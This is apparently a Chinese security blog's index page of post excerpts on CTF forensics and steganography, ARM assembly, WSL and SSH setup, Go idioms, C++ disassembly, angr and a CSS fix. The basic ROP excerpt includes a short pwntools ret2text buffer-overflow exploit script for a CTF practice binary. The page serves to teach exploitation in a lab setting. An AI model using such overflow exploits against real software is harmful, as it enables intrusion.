與其悔當日,不如奮今朝


电子取证

手机取证_1

打开苹果测试查看程序,搜索关键字:627604C2-C586-48C1-AA16-FF33C3022159.PNG

image-20220709172345189

然后再导出图片

image-20220709172419812

查看图片的属性

手机取证_2

直接搜索姜总,发现快递单号

阅读全文


总结

先把总结放前面。从这次比赛到现在自我反思的几个问题:

  1. 向全栈安全方向学习。跟大佬聊,做二进制还是要懂web。比如桌面平台的二进制,移动安全,iot安全,都是会涉及到web安全。如今混合开发也非常流行,唯有全栈才是出路。
  2. 慢即是快。比赛中有几个低级失误导致白给多题。其实如果细心应该能发现问题。python3默认输出大数会使用科学计数法,此时直接用int只会让低位信息直接丢失,不会产生正确的结果。
  3. 别用volatility3。版本太新,和2的版本有很多改变的地方,导致使用方法和2有区别。血的教训。

PNGCracker

首先看到图片的高度不对,怀疑是高度隐写,用010edit打开修改图片的高度。后面发现得到了一个密码。猜测是压缩包密码

1656150677301

尝试用binwalk分离,得到一个压缩包,用之前得到的密码可以解开

1656150701773

将图片用set 打开, 发现在red、green和bule的图片下面存在一行模糊的内容,lsb隐写,(red、green、Bule为1)

1656150709646

阅读全文


post @ 2022-06-29

前言

逆向安卓或者其他arm平台应用的时候,阅读arm汇编是必不可少的。这里对arm汇编知识点做一个总结和记录。

arm汇编基础

arm9内核寄存器组

image-20220710104847044

arm9内核工作模式

image-20220710105026605

当前程序状态寄存器CPSR

image-20220710105123125

arm指令的格式

阅读全文


post @ 2022-06-19

~/.InitWsl

1
2
3
4
5
6
7
8
9
10
11
#! /bin/bash
host="$(cat /etc/resolv.conf |grep "nameserver" |cut -f 2 -d " ")"
# echo $host
export http_proxy="http://${host}:10809"
export https_proxy="http://${host}:10809"
export all_proxy="socks5://${host}:10808"
$(git config --global http.proxy "socks5://${host}:10808")
$(git config --global https.proxy "socks5://${host}:10808")


alias t="tmux"
阅读全文


描述

在github的设置添加了密钥,其他系统也能使用此密钥对进行push,但是windows就是不行(试了很多方法包括添加到了ssh-agent)。最后发现是没有设置ssh针对host使用对应私钥的问题。

解决

~/.ssh/目录下创建config文件或者修改已有的ssh配置文件,然后写入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# github
Host github.com
HostName github.com
IdentityFile /path/to/id_rsa
PreferredAuthentications publickey
User yourusername

# custom gitlab
Host ${gitlab_ip}
HostName ${gitlab_ip}
IdentityFile C:\Users\kcaok\.ssh\gitlab_id_rsa
PreferredAuthentications publickey
User gitlab



PubkeyAcceptedKeyTypes +ssh-rsa
阅读全文


post @ 2022-06-09

前言

golang与传统相比,有许多有趣的特性。它们做到例如降低耦合、提高代码灵活性的效果。在学习过程中我总结了以下一些特性,它们体现了Go箴言的思想:

简单,诗意,简洁

  • 不要通过共享内存进行通信,通过通信共享内存

Don’t communicate by sharing memory, share memory by communicating.

  • 并发不是并行

Concurrency is not parallelism.

  • 通道编排;互斥体序列化

Channels orchestrate; mutexes serialize.

  • 接口越大,抽象就越弱
阅读全文


post @ 2022-05-18

基本ROP

参考地址:基本 ROP - CTF Wiki

ret2text

通过覆盖返回地址跳转到程序已有的某个代码地址(可以是各种危险函数或者gadgets

GDB动态调试,可以看到 esp 为 0xffffcd40,ebp 为 0xffffcdc8,同时 s 相对于 esp 的索引为 esp+0x1c,因此,我们可以推断

  • s 的地址为 0xffffcd5c
  • s 相对于 ebp 的偏移为 0x6c
  • s 相对于返回地址的偏移为 0x6c+4

payload:

1
2
3
4
5
6
7
##!/usr/bin/env python
from pwn import *

sh = process('./ret2text')
target = 0x804863a
sh.sendline('A' * (0x6c+4) + p32(target))
sh.interactive()

ret2shellcode

覆盖返回地址,跳转到我们写入的shellcode地址(shellcode所在区域必须有可执行权限)

阅读全文


介绍

前面讲了一点类与结构体的反汇编分析,这篇简单介绍其构造函数与析构函数的相关知识。

构造函数和析构函数都是类中特殊的成员函数,构造函数支持重载,析构函数只能是一个无参函数,且他们都不可定义返回值。调用构造函数后,返回值为对象首地址,也就是this指针。

构造函数出现时机

对象定义时,构造函数同时调用。因此知道了对象的生命周期,其构造函数便可推断。我们按照生命周期不同分以下几种对象来讨论。

局部对象

编译器隐藏了构造函数的调用过程,我们试分析以下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include <stdio.h>

class Person {
public:
Person() { //无参构造函数
age = 20;
}
int age;
};

int main(int argc, char* argv[]) {
Person person; //类对象定义
return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
.text:0000000140001530 ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:0000000140001530 public main
.text:0000000140001530 main proc near ; CODE XREF: __tmainCRTStartup+210↑p
.text:0000000140001530 ; DATA XREF: .pdata:000000014000506C↓o
.text:0000000140001530
.text:0000000140001530 var_4 = byte ptr -4
.text:0000000140001530 arg_0 = dword ptr 10h
.text:0000000140001530 arg_8 = qword ptr 18h
.text:0000000140001530
.text:0000000140001530 push rbp
.text:0000000140001531 mov rbp, rsp
.text:0000000140001534 sub rsp, 30h
.text:0000000140001538 mov [rbp+arg_0], ecx
.text:000000014000153B mov [rbp+arg_8], rdx
.text:000000014000153F call __main
.text:0000000140001544 lea rax, [rbp+var_4]
.text:0000000140001548 mov rcx, rax ; this
.text:000000014000154B call _ZN6PersonC1Ev ; Person::Person(void)
.text:0000000140001550 mov eax, 0
.text:0000000140001555 add rsp, 30h
.text:0000000140001559 pop rbp
.text:000000014000155A retn
.text:000000014000155A main endp


.text:0000000140002860 ; Person *__fastcall Person::Person(Person *__hidden this)
.text:0000000140002860 public _ZN6PersonC1Ev
.text:0000000140002860 _ZN6PersonC1Ev proc near ; CODE XREF: main+1B↑p
.text:0000000140002860 ; DATA XREF: .pdata:000000014000521C↓o
.text:0000000140002860
.text:0000000140002860 arg_0 = qword ptr 10h
.text:0000000140002860
.text:0000000140002860 push rbp
.text:0000000140002861 mov rbp, rsp
.text:0000000140002864 mov [rbp+arg_0], rcx
.text:0000000140002868 mov rax, [rbp+arg_0]
.text:000000014000286C mov dword ptr [rax], 14h
.text:0000000140002872 nop
.text:0000000140002873 pop rbp
.text:0000000140002874 retn
.text:0000000140002874 _ZN6PersonC1Ev endp

进入对象作用域时调用构造函数。因为是成员函数,同样使用cx寄存器传递this指针。调用结束后,将对象地址作为返回值。

阅读全文


介绍

angr 是一个多架构二进制分析工具包,具有执行动态符号执行(如 Mayhem、KLEE 等)和对二进制文件进行各种静态分析的能力。

乍一看它真正吸引人的地方是它的符号执行引擎。简言之,符号执行意味着在不实际执行程序的情况下,就可以分析哪些输入经历了哪些代码路径。最常见的例子就是一个程序根据输入的一个字符串跟自身生成的字符串作比较来打印一些东西。符号执行允许我们像对待方程一样分析一个程序,解这个方程然后告诉我们正确的输入。

有很多ctf writeup之类的东西写到它,但是从学习者的角度太看,这些远远不够。

如何安装

建议你使用一个全新的ubuntu20.04虚拟机,直接运行下面的命令安装python3与依赖、虚拟环境组件:

1
sudo apt install python3-dev libffi-dev build-essential virtualenvwrapper

如果安装失败,那么你可以按照下面的顺序从angr的官方仓库依次安装,它们也是angr的主要组成模块:

  1. claripy: 符号求解器的抽象
  2. archinfo: 用于描述各种体系结构
  3. pyvex: VEX IR的Python包装
  4. cle: 二进制文件加载器
  5. angr: 主程序

测试一个最简单的例子

例如有如下程序:

阅读全文


昨天改博客主题,改到三点改出个bug,今天中午解决了。如图:

解决:打开\themes\freemind.bithack\source\css\highlight.css,添加下面一行:

1
2
3
4
5
6
7
8
.highlight pre {
border: 0;
margin: 0;
padding: 0;
white-space: pre;
/* 隐藏滚动条 */
overflow: inherit;
}
阅读全文
⬆︎TOP